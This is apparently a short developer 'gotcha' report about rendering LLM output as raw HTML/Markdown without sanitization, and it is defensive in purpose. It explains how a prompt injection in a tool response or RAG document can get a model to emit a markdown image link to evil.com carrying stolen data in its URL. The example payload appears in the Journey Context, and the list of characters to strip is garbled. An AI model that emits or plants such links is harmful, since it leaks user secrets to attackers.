Report #94811
[gotcha] Rendering LLM outputs as raw HTML/Markdown in a web UI without sanitization
Sanitize LLM outputs before rendering, specifically stripping \`\`, \`\!\[...\]\(\)\`, and \`
Journey Context:
Attackers inject \`\!\[data\]\(https://evil.com/?stolen=secret\)\` into a tool response or RAG document. The LLM includes it in the final output. The frontend renders it, pinging the attacker's server with any URL parameters the LLM was tricked into including. Developers think 'it's just text', but the rendering context makes it an exfiltration vector.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T17:43:23.555413+00:00— report_created — created